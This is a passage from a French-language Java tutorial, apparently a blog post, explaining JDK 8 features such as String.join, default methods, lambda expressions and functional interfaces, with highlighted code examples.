&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;, &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;one&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;two&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;three&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Et pourquoi pas directement sur un itérable (&lt;em&gt;Iterable&lt;/em&gt;) ?&lt;br&gt;
(Je choisis une liste, un tableau ou tout autre itérable fait l&amp;rsquo;affaire)&lt;/p&gt;
&lt;p&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strings&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Arrays&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;asList&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;one&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;two&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;three&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;[&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot; - &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strings&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;]&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;one&lt;span class="w"&gt; &lt;/span&gt;-&lt;span class="w"&gt; &lt;/span&gt;two&lt;span class="w"&gt; &lt;/span&gt;-&lt;span class="w"&gt; &lt;/span&gt;three&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Question – Comment savoir si c&amp;rsquo;est plus cher ou moins cher que d&amp;rsquo;écrire une 
boucle pour et de concaténer avec &lt;code&gt;+&lt;/code&gt; ?&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Certaines nouveautés &lt;em&gt;jdk8&lt;/em&gt; (&lt;em&gt;optionnals&lt;/em&gt;, &lt;em&gt;default methods&lt;/em&gt;) semblent être là uniquement pour permettre l&amp;rsquo;introduction des &lt;em&gt;lambdas expressions&lt;/em&gt;. J&amp;rsquo;en parle volontairement avant pour alléger la section &lt;em&gt;lambdas&lt;/em&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Les interfaces sont revues&lt;/h2&gt;
&lt;p&gt;(&lt;strong&gt;default methods&lt;/strong&gt;) &lt;/p&gt;
&lt;p&gt;En JDK&amp;lt;=7 une interface définit un contrat que toutes ses implémentations
doivent respecter. Dès lors qu&amp;rsquo;une interface est définie (depuis longtemps), la
modifier devient bancal puisque cette modification impacte toutes les
implémentations. &lt;/p&gt;
&lt;p&gt;Imaginons que l&amp;rsquo;on veuille ajouter une méthode à une interface. &lt;/p&gt;
&lt;p&gt;Cela implique que toutes les classes implémentant l&amp;rsquo;interface ajoutent une
implémentation de la fonction. Ce n&amp;rsquo;est peut-être pas viable. &lt;/p&gt;
&lt;p&gt;&lt;em&gt;jdk8&lt;/em&gt; propose la notion de « méthode par défaut » (&lt;strong&gt;default method&lt;/strong&gt;)
permettant de donner une implémentation par défaut pour une méthode.&lt;br&gt;
On parlera en détail de la classe &lt;code&gt;Stream&lt;/code&gt; et de la méthode homonyme plus bas. Imaginons que l&amp;rsquo;on veuille affubler l&amp;rsquo;interface &lt;em&gt;Collection&lt;/em&gt; d&amp;rsquo;une nouvelle méthode &lt;em&gt;stream()&lt;/em&gt;. Pour ne pas casser toutes les implémentations de &lt;em&gt;Collection&lt;/em&gt;, l&amp;rsquo;interface définit une implémentation par défaut grâce au mot clé &lt;code&gt;default&lt;/code&gt;. &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;interface&lt;/span&gt; &lt;span class="nc"&gt;Collection&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// le reste&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Stream&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// implémentation par défaut pouvant être réécrite &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ce principe d&amp;rsquo;implémentation de méthode par défaut résout le problème de compatibilité mais entraine une sorte d&amp;rsquo;&lt;strong&gt;héritage multiple&lt;/strong&gt;. En effet, comme je peux implémenter plusieurs interfaces, rien n&amp;rsquo;empêche que ces interfaces contiennent des méthodes par défaut. &lt;/p&gt;
&lt;p&gt;Java propose donc un héritage multiple en terme d&amp;rsquo;implémentation de méthode. Cet héritage peut mener à des conflits lors de la compilation qui seront réglés comme suit:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;la classe gagne par rapport aux interfaces qu&amp;rsquo;elle implémente;&lt;/li&gt;
&lt;li&gt;l&amp;rsquo;interface la plus spécifique gagne;&lt;/li&gt;
&lt;li&gt;sinon, le compilateur pleure …&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Si les interfaces proposent d&amp;rsquo;office des méthodes par défaut, il ne sera plus nécessaire, lorsque l&amp;rsquo;on implémente une interface, d&amp;rsquo;écrire toutes les méthodes (même avec un corps « bidon ») … ce qui change (radicalement) l&amp;rsquo;angle de vue. &lt;/p&gt;
&lt;h2 id="headerlambda"&gt;lambda expressions (enfin)&lt;/h2&gt;
&lt;p&gt;Les &lt;em&gt;lambdas expressions&lt;/em&gt; en Java sont des &lt;strong&gt;méthodes anonymes&lt;/strong&gt;. 
Comme le nom l&amp;rsquo;indique, ce sont des méthodes qui n&amp;rsquo;ont pas de nom. &lt;/p&gt;
&lt;p&gt;Ce que je pouvais déjà faire dans une classe (j&amp;rsquo;adapte un peu 
&lt;a href="http://en.wikipedia.org/wiki/Lambda_(programming)#Java"&gt;l&amp;rsquo;exemple de Wikipedia&lt;/a&gt;), définir une méthode:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;addition&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;intb&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Avec les &lt;em&gt;lambdas expressions&lt;/em&gt; en &lt;em&gt;jdk8&lt;/em&gt;, je peux maintenant m&amp;rsquo;abstraire du nom et des types; paramètres et type de retour. Si j&amp;rsquo;utilise l&amp;rsquo;opérateur &lt;code&gt;-&amp;gt;&lt;/code&gt; à la place de &lt;em&gt;return&lt;/em&gt;, il reste &lt;sup id="fnref:type"&gt;&lt;a class="footnote-ref" href="#fn:type"&gt;2&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Je ne peux pas écrire cette &lt;em&gt;lambda&lt;/em&gt; en l&amp;rsquo;état. Une &lt;em&gt;lambda expression&lt;/em&gt; n&amp;rsquo;est pas une instruction. L&amp;rsquo;utilisation des &lt;em&gt;lambdas&lt;/em&gt; sera fortement liée aux interfaces ne contenant qu&amp;rsquo;une seule méthode abstraite. Ces interfaces me permettront d&amp;rsquo;écrire: &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Interface&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Operation&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;operation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// …&lt;/span&gt;
&lt;span class="n"&gt;Operation&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;addition&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;Operation&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;subtraction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Les &lt;em&gt;lambdas expressions&lt;/em&gt; permettent une écriture plus compacte dans l&amp;rsquo;écriture des classes internes anonymes. &lt;/p&gt;
&lt;p&gt;Si dans une classe j&amp;rsquo;ai la méthode suivante:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;operate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Operation&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;operation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Je peux écrire une classe anonyme à l&amp;rsquo;ancienne ou bien à la manière de &lt;em&gt;jdk8&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// old way&lt;/span&gt;
&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;operate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Operation&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;operation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// jdk8 way&lt;/span&gt;
&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;operate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Les &lt;em&gt;lambdas expressions&lt;/em&gt; ne seront pleinement utiles que s&amp;rsquo;il existe une série &lt;strong&gt;d&amp;rsquo;interfaces pratiques prédéfinies&lt;/strong&gt;. &lt;/p&gt;
&lt;p&gt;Rassurez vous, elles existent ! &lt;/p&gt;
&lt;h2 id="functionalinterfaces"&gt;Les interfaces fonctionnelles&lt;/h2&gt;
&lt;p&gt;La notion de lambdas n&amp;rsquo;a de sens que s&amp;rsquo;il existe une série d&amp;rsquo;interfaces utiles prédéfinies ai-je dit.  &lt;/p&gt;
&lt;p&gt;Ces interfaces sont appelées &lt;strong&gt;interfaces fonctionnelles&lt;/strong&gt; (&lt;em&gt;functional interfaces&lt;/em&gt;). Ces interfaces fonctionnelles ne contiennent qu&amp;rsquo;une seule méthode appelée &lt;strong&gt;méthode fonctionnelle&lt;/strong&gt;.  &lt;/p&gt;
&lt;p&gt;Le &lt;em&gt;package&lt;/em&gt; &lt;code&gt;java.util.fonctions&lt;/code&gt; en fournit 43 de différentes sortes 
(et il y en aura d&amp;rsquo;autres); &lt;em&gt;function&lt;/em&gt;, 
&lt;em&gt;consumer&lt;/em&gt;, &lt;em&gt;predicate&lt;/em&gt;, &lt;em&gt;supplier&lt;/em&gt;, &lt;em&gt;bifunction&lt;/em&gt;, &lt;em&gt;biconsumer&lt;/em&gt;, &lt;em&gt;bipredicate&lt;/em&gt;,
… (et les types primitifs). &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fonction (&lt;em&gt;function&lt;/em&gt;) prend un objet et en retourne un autre &lt;code&gt;T → R&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Consommateur (&lt;em&gt;consumer&lt;/em&gt;) consomme un objet &lt;code&gt;T → void&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Prédicat (&lt;em&gt;predicate&lt;/em&gt;) prend un objet et retourne un booléen &lt;code&gt;T → boolean&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Fournisseur (&lt;em&gt;supplier&lt;/em&gt;) fournit un objet &lt;code&gt;void → R&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;S&amp;rsquo;il y a deux arguments au lieu de un, on préfixe par « bi » &lt;/li&gt;
&lt;li&gt;Pour les types primitifs, on aura par exemple &lt;code&gt;ToIntFunction&lt;/code&gt;…&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ces interfaces fonctionnelles ne possèdent qu&amp;rsquo;une seule méthode abstraite. 
On pourra par exemple écrire: &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Predicate&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;Function&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Person&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;f8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Person&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;BiConsumer&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Person&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bi8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setDescription&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Une interface fonctionnelle ne possède qu&amp;rsquo;une seule méthode abstraite mais elle peut avoir des méthodes par défaut (&lt;em&gt;default methods&lt;/em&gt;) ! 
Par exemple &lt;code&gt;Predicate&lt;/code&gt; a comme méthodes par défaut &lt;code&gt;and&lt;/code&gt;, &lt;code&gt;or&lt;/code&gt;, &lt;code&gt;negate&lt;/code&gt; et &lt;code&gt;isEquals&lt;/code&gt;. On ne s&amp;rsquo;amusera pas à les récrire mais il sera facile de les utiliser. &lt;/p&gt;
